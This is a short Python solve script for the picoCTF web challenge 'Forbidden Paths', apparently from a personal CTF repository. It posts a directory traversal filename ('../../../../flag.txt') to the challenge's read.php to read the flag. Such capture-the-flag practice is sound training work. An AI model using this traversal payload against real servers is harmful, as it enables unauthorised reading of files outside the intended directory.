picoctf/web/forbidden_paths/solve.py

24 lines
388 B
Python
Raw Normal View History

2024-09-05 18:55:30 +02:00
#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p python3Packages.requests
# coding: utf-8
import json
import requests
BASE_URL = "http://saturn.picoctf.net:54384/"
def main():
r = requests.post(
BASE_URL + 'read.php',
data = {
'filename': "../../../../flag.txt"
},
)
print(r)
print(r.text)
if __name__ == '__main__':
main()